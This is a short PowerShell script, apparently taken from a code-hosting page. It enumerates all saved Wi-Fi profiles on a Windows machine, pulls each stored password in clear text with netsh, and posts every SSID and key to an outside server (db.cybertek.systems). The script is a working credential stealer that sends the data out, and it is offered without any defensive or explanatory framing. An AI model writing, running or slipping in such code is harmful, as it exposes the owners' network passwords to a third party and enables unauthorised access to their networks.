37 lines
1.3 KiB
PowerShell
37 lines
1.3 KiB
PowerShell
# Define the API endpoint
|
|
$apiEndpoint = "https://db.cybertek.systems/wifi_credentials/add"
|
|
|
|
# Define headers
|
|
$headers = @{
|
|
"Content-Type" = "application/json"
|
|
}
|
|
|
|
# Get WiFi profiles
|
|
$wifiProfiles = netsh wlan show profiles | Select-String "All User Profile" | ForEach-Object { ($_ -split ":")[1].Trim() }
|
|
|
|
foreach ($profile in $wifiProfiles) {
|
|
# Extract PSK if available
|
|
$profileData = netsh wlan show profile name="$profile" key=clear | Select-String "Key Content" | ForEach-Object { ($_ -split ":")[1].Trim() }
|
|
|
|
# Only process profiles with a PSK
|
|
if ($profileData) {
|
|
# Create JSON payload
|
|
$payload = @{
|
|
ssid = $profile
|
|
preshared_key = $profileData
|
|
}
|
|
|
|
# Send data to the API
|
|
try {
|
|
$response = Invoke-WebRequest -Uri $apiEndpoint -Method Post -Body ($payload | ConvertTo-Json -Depth 10) -Headers $headers -UseBasicParsing
|
|
Write-Output "Success: SSID '$profile' added. Message: $($response.Content)"
|
|
} catch {
|
|
if ($_.Exception.Response.StatusCode -eq 409) {
|
|
Write-Output "Conflict: SSID '$profile' already exists or conflicts with server rules."
|
|
} else {
|
|
Write-Output "Error: Could not add SSID '$profile'. Error: $($_.Exception.Message)"
|
|
}
|
|
}
|
|
}
|
|
}
|